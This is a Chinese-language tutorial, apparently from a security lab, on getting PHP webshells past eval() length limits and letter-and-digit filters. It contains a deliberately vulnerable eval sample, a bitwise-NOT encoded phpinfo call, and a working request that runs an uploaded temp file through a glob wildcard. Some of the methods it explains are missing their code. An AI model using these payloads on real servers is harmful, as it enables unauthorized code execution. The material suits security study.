目录
EVAL长度限制突破技巧
PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
方法一:
解释:``在liunx下是可以执行代码,就是执行get获取1的参数给param,并输出,但是这里1等于id,其实就是获取id的参数,这里的数字可以是1也可以其他数字
方法二:
注释:获取一个file_put_contents, N:要写的文件名,P:一句话木马的base64编码
8:表示追加 ,在PHP的底层c语言写的file_put_contents函数时,发现c语言追加是8
根据官方文档:如果是 file_put_contents(N,D,APPEND)将超出17个字符,无法满足小于17的条件
方法三
回调后门的本质就是有两个参数,其中一个一定要是函数,而另一个是函数运行的参数,就是一个命令执行的函数
Linux命令长度限制突破方法
这个函数相当于可以执行shell的命令,
方法一:我直接使用shell命令就可以输出
方法二:
W是一个登录的命令,可以看到用户登录的情况
但是这里可以使用w,也可以不使用
在里面一点一点写
最后生成一个c.php
无字母数字的Webshell构造技巧
php7之后可以使用($a)();来执行php代码
('phpinfo')();
很明显是支持的
但是如果直接这样输:('phpinfo')();是肯定不行,英文识别不了,是不可见字符,需要转换为用url编码表示
(~%8F%97%8F%96%91%99%90)(); //~是取反的意思
这里需要改成php5的版本
相关命令
apt-get install -y php5.6 下载php5.6版本
update-alternatives --config php 切换php版本apt-get install -y php5.6-fpm 下载php5.6-fpm
find / -name www.conf 查看是否有php5.6-fpm
现在是要生成一个临时文件名,然后去获取这个临时文件名,但是要怎么获取呢?
在liunx下,临时文件是随机的,不过通过观察发现,文件的最后一个字母是大写字母,区别liunx文件
设置睡眠时间过长可以方便后续获取临时文件
上传一个txt文件,在liunx下会生成一个临时文件
我上传了两次,会发现有两个不同名字的临时文件,内容是一样的
不过上传改成了就会被删除
现在需要考虑如何不要用数字字母获取临时文件呢?
第一个:通过发现临时文件,可以发现最后一个字母是大写,虽然第二次提交是小写,但是通过最后字母是大写,总是能匹配上,而在liunx文件最后一个字母没有大写,
第二个:临时文件产生随机数是9位
根据liunx glob通配符规则,可以过滤查找到临时文件
ls -al /???/????????[@-[]
解释: 查找/tmp/phpV2ssPI,
?匹配任意单个字符,[@-[]:匹配大写字母
分析到这里,已经有一个很明确的思路了,通过这种方法去获取临时文件
接下来,我们将写的上传文件的HTML文件路径改为上传到bb.php,然后使用buresuit抓包,填写参数,去匹配到我liunx的临时文件,让临时文件内容去当作liunx的命令执行
最终执行成功
解释
POST /bb.php?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>
通过post方式传递到bb.php,?表示输出code= ?>是为了闭合我bb.php的<?符合,反斜号在liunx是一个执行命令,执行反斜号包含的内容,+这里是空格,如果就空格会截断后面的内容,在urlcode编码里,?是%3f,@是%40,;是%3b,如果不转换是识别不了的
注意:我开始是一直匹配不到临时文件,后面发现是临时文件的名字随机产生,长度不一定固定,有时候最后一个字母也不一定是大写,要多上传几次,总会匹配成功,同时,可以把之前的临时文件或者没有文件的临时文件删除,避免影响匹配。